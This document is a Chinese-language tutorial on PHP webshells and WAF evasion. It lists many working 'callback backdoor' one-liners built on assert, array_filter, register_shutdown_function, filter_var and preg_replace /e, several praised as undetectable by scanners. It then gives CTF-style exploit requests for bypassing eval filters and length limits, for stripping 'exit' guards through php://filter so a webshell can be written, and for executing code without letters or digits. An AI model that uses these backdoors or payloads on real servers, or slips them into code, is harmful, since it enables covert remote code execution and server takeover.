一、bypass各种waf技巧以及命令执行
1.1 bypass各种waf-PHP回调后门
1.1.1 最初的回调后门
php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:
call_user_func('assert', $_REQUEST['pass']);
assert直接作为回调函数,然后$_REQUEST['pass']
作为assert的参数调用。
这样的后门很容易被查杀,所以我们可以简单做一个变性
call_user_func_array('assert', array($_REQUEST['pass']));
call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。
1.1.2 数组操作造成的单参数回调后门
进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。
我最早想到个最“简单好用的”:
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
rray_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用都可以执行
类似array_filter,array_map也有同样功效
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
1.1.3 php5.4.8+中的assert
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
比如如下回调后门:
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
同样的道理,这个也是功能类似:
再给出这两个函数,面向对象的方法:
<?php // way 0 $arr = new ArrayObject(array('test', $_REQUEST['pass'])); $arr->uasort('assert'); // way 1 $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2)); $arr->uksort('assert');
再来两个类似的回调后门:
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。
我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)
1.1.4 三参数回调函数
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。
array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,
两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受
三个参数,那就好办了:
php中,可以执行代码的函数:
- 一个参数:assert
- 两个参数:assert (php5.4.8+)
- 三个参数:preg_replace /e模式
三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)
<?php$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:
<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
另一个:
<?phpecho preg_filter('|.*|e', $_REQUEST['pass'], '');
1.1.5 单参数后门终极奥义
preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。
这里给出几个好用不杀的回调后门
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
这个是php全版本支持的,且不报不杀稳定执行:
再来一个:
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
再来两个:
<?phpfilter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。
这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.
1.1.6 其他参数型回调后门
上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?
举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。
preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。
所以我们需要去“构造”一个满足条件的回调函数。
怎么构造?使用create_function:
<?phppreg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。
这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。
类似的,这个也同样:
<?php
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
1.2 easy - phplimit
1.2.1 nginx
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
这个代码就简单多了,简单来说就是只能执行一个函数,但不能设置参数,这题最早出现是在RCTF2018中
RCTF2018 Web Writeup · LoRexxar's Blog
在原来的题目中是用next(getallheaders())绕过这个限制的。
但这里getallheaders是apache中的函数,这里是nginx环境,所以目标就是找一个函数其返回的内容是可以控制的就可以了。
问题就在于这种函数还不太好找,首先nginx中并没有能获取all header的函数。
所以目标基本就锁定在会不会有获取cookie,或者所有变量这种函数。在看别人writeup的时候知道了get_defined_vars这个函数
PHP: get_defined_vars - Manual
他会打印所有已定义的变量(包括全局变量GET等)。简单翻了翻PHP的文档也没找到其他会涉及到可控变量的
在原wp中有一个很厉害的操作,直接reset所有的变量。
后面就简单了拼接就好了
然后…直接列目录好像也是个不错的办法2333
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))
/*
1. `getcwd()`: 这个函数用于获取当前工作目录的路径。
2. `chdir(dirname(getcwd()))`: `dirname(getcwd())` 返回当前工作目录的上级目录路径,然后 `chdir()` 函数将当前工作目录更改为上级目录。
3. `scandir()`: 这个函数用于获取指定目录中的文件和目录列表。在这里,它返回上级目录中所有文件和目录的列表。
4. `array_reverse()`: 这个函数用于反转数组的顺序,因此它将 `scandir()` 返回的列表倒序排列,即最后修改的文件排在数组的开头。
5. `next()`: 这个函数用于将数组的内部指针向前移动一位,并返回当前元素的值。在这里,它返回倒序排列后的文件列表中的第一个文件名。
6. `readfile()`: 这个函数用于读取文件内容并输出到页面上。
因此,整个代码的作用是读取当前工作目录的上级目录中最后修改的文件,并将其内容输出到页面上
*/
1.2.1 apache
code=eval(next(getallheaders()));
user-agent:phpinfo();
1.3 eval长度限制绕过
我把他的叙述写成代码,大概如下:
<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
eval($param);
}
?>
那么这个代码怎么拿到webshell?
命令执行的利用
这个是我得到最多的一种答案,大部分人都是利用命令执行来绕过限制,最短的是:
param=`$_GET[1]`;&1=bash
稍长一点的可以用exec:
param=exec($_GET[1]);
本地文件包含的利用(奇技淫巧100%)
那么,文件包含真的不行么?
有一种思路,利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
param=$_GET[a](N,a,8);&a=file_put_contents
file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。
除了file_put_contents,error_log函数效果也类似。
但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如
param=$_GET[a](N,<,8);&a=file_put_contents。
但如果要写webshell的话,“<”等符号又是必不可少的。
最后请求如下:
# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
成功getshell。
标准答案:利用变长参数特性展开数组
变长参数是PHP5.6新引入的特性,文档在此: PHP: 新特性 - Manual
和Python中的**kwargs
,类似,在PHP中可以使用 func(...$arr)
这样的方式,将$arr
数组展开成多个参数,传入func函数。
再结合我曾提到过的回调后门( 创造tips的秘籍——PHP回调后门 | 离别歌 ),即可构造一个完美的利用,数据包如下:
大概过程就是,GET变量被展开成两个参数['test', 'phpinfo();']
和assert
,传入usort函数。usort函数的第二个参数是一个回调函数assert
,其调用了第一个参数中的phpinfo();
。修改phpinfo();
为webshell即可。
最后说一下,这个方法基本无视任何WAF
1.4 浅谈eval与assert一句话木马执行区别
经常可以看到这样的一句话木马
<?php
$_POST['1']($_POST['2']);
那么就从eval和assert两个不同函数特性来具体说明
php5中的具体应用
首先很多同学认为可以这样执行 eval($_POST[2])
1=eval&2
但是这样会利用失败,这究竟是因为什么呢?
Fatal error: Call to undefined function eval() in D:\PhpStudy_pro\WWW\test6.php on line 3
因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
这么看来eval其实并不能算是‘函数’,而是PHP自身的语言结构,如果需要用‘可变’的方式调用,需要自己构造,类似这样子的:
<?php
function eval_1($str)
{
eval($str);
}
$a='eval_1';
$a('phpinfo()');
?>
而我们使用assert则可以成功,因为assert在php中被认为是一个函数
可以很清楚的看到opcode,eval是INCLUDE_OR_EVAL去处理,而assert是用DO_FCALL去处理
可以看下DO_FCALL
会进行一个函数名的查找
再跟一下INCLUDE_OR_EVAL
就会发现进去后会直接编译eval参数中的代码。
从一开始的跟踪opcode中可以看到,eval其实是Zend的函数,而assert是PHP_FUNCTION宏编写的,最后在调用上是不同的。
测试结果如下:
//测试代码
@$_++;
$__=("#"^"|");
$__.=("."^"~");
$__.=("/"^"`");
$__.=("|"^"/");
$__.=("{"^"/");
${$__}[!$_](${$__}[$_]);//$_POST[0]($_POST[1])
利用burpsuit进行抓包,可以看出明显的问题,这里我们0提交的是assert
1提交的$POST['xian'],我们本意是为了执行assert($POST['xian'])
而我们中国蚁剑也同时post了xian这个数据为%40ini_set之类的数据,而我们又必须清楚一点,我们的eval函数中参数是字符,assert函数中参数为表达式 (或者为函数),如:
assert(eval(‘echo 1;’));//类似这样
这是抓包内容,执行的是我们的字符串,所以执行失败
为什么我们直接在蚁剑密码处输入0=assert&1,不进行编码的时候,还是会执行失败呢,原因和上文一致
为什么我们执行了base64又成功了链接了呢
因为我们多了一个eval函数,实质上我们是在执行assert(eval()),所以是可以执行的。
- assert('adsadasdsadasdasdsa') 里面只有字符串
- assert(eval(base64dddddd)); 里面有eval函数
最后我们再来看一个答案,实质是这样的
- 数字0我们post数据为assert
- 数字1我们post数据为eval($_POST['nanjing'])
- 其本质还是assert(eval()),所以还是可以执行
这里再次强调一点,请牢记
eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo())
1.5 谈一谈php://filter的妙用
php://filter是PHP中独有的协议,利用这个协议可以创造很多“妙用”,本文说几个有意思的点,剩下的大家自己下去体会。
1.5.1 巧用编码与解码
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?
幸运的是,这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。
众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
所以,一个正常的base64_decode实际上可以理解为如下两个步骤
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。
最后效果是 :
1.5.2 利用字符串操作方法
有的同学说,base64的算法我不懂,上面的方法太复杂了。
其实,除了使用base64特性的方法外,我们还可以利用php://filter字符串处理方法来去除“死亡exit”。我们观察一下,这个<?php exit; ?>实际上是什么?
实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input 的效果:
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
可见,<?php exit; ?>被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。
万幸的是,php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。
1.6 无字母数字webshell之命令执行
<?php
if(isset($_GET['code']))
{ $code = $_GET['code'];
if(strlen($code)>35)
{ die("Long."); }
if(preg_match("/[A-Za-z0-9_$]+/",$code))
{ die("NO."); }
eval($code);}
else{highlight_file(__FILE__);}
这个代码如果要getshell,怎样利用?
当然,这道题的限制:
-
webshell长度不超过35位
-
除了不包含字母数字,还不能包含
$
和_
难点呼之欲出了,我前面文章中给出的所有方法,都用到了PHP中的变量,需要对变量进行变形、异或、取反等操作,最后动态执行函数。但现在,因为$
不能使用了,所以我们无法构造PHP中的变量。
所以,如何解决这个问题?
PHP7 下简单解决问题
(~%8F%97%8F%96%91%99%90)();
PHP5的思考
PHP5+shell打破禁锢
/*1. shell下可以利用.来执行任意脚本
2. Linux文件名支持用glob通配符代替
*/
- 第一点.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell
- 是bash,则. file的意思就是用bash执行file文件中的命令。
- 用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用. 来执行它了吗?
- 这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
/**可以代替0个及以上任意字符
?可以代表1个任意字符*/
深入理解glob通配符
构造POC,执行任意命令